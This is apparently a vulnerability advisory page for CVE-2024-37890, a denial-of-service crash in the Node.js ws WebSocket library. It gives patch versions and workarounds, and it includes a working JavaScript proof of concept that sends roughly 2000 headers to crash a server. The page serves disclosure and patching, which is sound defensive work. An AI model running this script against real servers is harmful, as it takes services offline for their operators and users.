Fix CVE–2024–37890

[debricked]

CVE–2024–37890

Vulnerability details

Description

NULL Pointer Dereference

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

GitHub

ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

• Throws TypeError when there are too many HTTP headers websockets/ws#2230
• Fix crash when the Upgrade header cannot be read websockets/ws#2231

NVD

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

CVSS details - 7.5

 

CVSS3 metrics
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

References

    ws affected by a DoS when handling a request with many HTTP headers · CVE-2024-37890 · GitHub Advisory Database · GitHub
    NVD - CVE-2024-37890
    [security] Fix crash when the Upgrade header cannot be read (#2231) · websockets/ws@4abd8f6 · GitHub
    DoS when handling a request with many HTTP headers · Advisory · websockets/ws · GitHub
    Throws TypeError when there are too many HTTP headers · Issue #2230 · websockets/ws · GitHub
    [security] Fix crash when the Upgrade header cannot be read (#2231) · websockets/ws@e55e510 · GitHub
    Fix crash when the Upgrade header cannot be read by lpinca · Pull Request #2231 · websockets/ws · GitHub
    [security] Fix crash when the Upgrade header cannot be read (#2231) · websockets/ws@eeb76d3 · GitHub
    [security] Fix crash when the Upgrade header cannot be read (#2231) · websockets/ws@22c2876 · GitHub
    HTTP | Node.js v22.3.0 Documentation

 

Related information

📌 Remember! Check the changes to ensure they don't introduce any breaking changes.
📚 Read more about the CVE

 

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